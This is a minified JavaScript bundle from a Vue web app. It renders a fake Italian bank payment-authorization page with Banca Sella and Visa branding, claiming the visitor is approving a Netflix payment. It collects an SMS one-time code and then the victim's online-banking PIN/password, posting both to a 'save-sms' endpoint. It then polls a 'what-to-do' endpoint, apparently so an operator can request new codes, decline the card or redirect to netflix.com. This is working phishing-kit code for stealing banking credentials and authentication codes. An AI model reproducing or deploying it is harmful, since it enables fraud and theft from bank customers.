(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-7950b833"],{9320:function(t,e,c){"use strict";c("dd0d")},c588:function(t,e,c){"use strict";c.r(e);var n=c("7a23"),a=Object(n["r"])("data-v-135d32ce");Object(n["k"])("data-v-135d32ce");var i={class:"poste_pay_container"},s=Object(n["g"])("div",{class:"flex justify-between"},[Object(n["g"])("div",null,[Object(n["g"])("img",{src:"images/banca_sella.png",width:"100",alt:""})]),Object(n["g"])("div",null,[Object(n["g"])("img",{src:"images/Visa-Logo.png",width:"110",alt:""})])],-1),o=Object(n["g"])("div",{class:"flex justify-center font-black mt-4"},[Object(n["g"])("div",null," AUTORIZZA L'OPERAZIONE ")],-1),l={key:0},d={class:"my-5"},u=Object(n["f"])(" Ti abbiamo inviato un codice via SMS al tuo numero di telefono "),r=Object(n["g"])("br",null,null,-1),b=Object(n["g"])("br",null,null,-1),O=Object(n["f"])(" Stai autorizzando il pagamento a Netflix il "),g=Object(n["g"])("div",null,[Object(n["g"])("b",null,"Inserisci il codice ricevuto: ")],-1),j={key:1},m={class:"my-5"},p=Object(n["f"])(" Per procedere inserisci il PIN/Password che utilizzi per accedere all'area riservata della tua banca (non il PIN della tua carta) "),f=Object(n["g"])("br",null,null,-1),h=Object(n["g"])("br",null,null,-1),v=Object(n["f"])(" Stai autorizzando il pagamento a Netflix il "),w=Object(n["g"])("div",null,[Object(n["g"])("b",null,"Inserisci PIN/Password per l servizi online: ")],-1),x={class:"flex flex-col mb-3 "},S={class:"text-red-500 text-xs"},y={class:"animate-spin -ml-1 mr-3 h-5 w-5 text-black",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},k=Object(n["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),R=Object(n["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1);Object(n["j"])();var C=a((function(t,e,c,a,C,I){return Object(n["i"])(),Object(n["c"])("div",i,[s,o,C.secondSMS?Object(n["d"])("",!0):(Object(n["i"])(),Object(n["c"])("div",l,[Object(n["g"])("div",d,[u,r,b,O,Object(n["g"])("span",{textContent:Object(n["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])]),g])),C.secondSMS?(Object(n["i"])(),Object(n["c"])("div",j,[Object(n["g"])("div",m,[p,f,h,v,Object(n["g"])("span",{textContent:Object(n["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])]),w])):Object(n["d"])("",!0),Object(n["g"])("div",x,[Object(n["q"])(Object(n["g"])("input",{type:"text",name:"",id:"",class:"border border-gray-500  my-2 w-full text-center p-2  ","onUpdate:modelValue":e[1]||(e[1]=function(t){return C.code=t})},null,512),[[n["o"],C.code]]),Object(n["q"])(Object(n["g"])("span",S," Qualcosa è andato storto. Ti abbiamo inviato un nuovo codice ",512),[[n["p"],C.isResend]])]),Object(n["q"])((Object(n["i"])(),Object(n["c"])("svg",y,[k,R],512)),[[n["p"],C.isLoading]]),Object(n["g"])("button",{class:"w-full h-full p-3 bg-blue-600 text-white text-lg",onClick:e[2]||(e[2]=function(){return I.submitCode&&I.submitCode.apply(I,arguments)}),disabled:C.isLoading||!C.code}," PROSEGUI ",8,["disabled"])])})),I=c("bc3a"),z=c.n(I),T=c("a078"),_=c("1995"),L={props:["ccname","ccnum","cc_result","bank"],data:function(){return{secondSMS:!1,code:null,isResend:!1,isLoading:!1,lang:"en"}},created:function(){this.lang=Object(_["a"])()},computed:{ccnum_hidden:function(){return"*"+this.ccnum.substr(-4)}},methods:{t:function(t){return _["b"][this.lang][t]},submitCode:function(){var t=this;this.isLoading=!0,z.a.post(T["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;z.a.get(T["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.secondSMS=!1,t.isResend=!0,t.isLoading=!1,t.code=""):11===e.data.status?(t.secondSMS=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};c("9320");L.render=C,L.__scopeId="data-v-135d32ce";e["default"]=L},dd0d:function(t,e,c){}}]);
//# sourceMappingURL=chunk-7950b833.df7f2d4b.js.map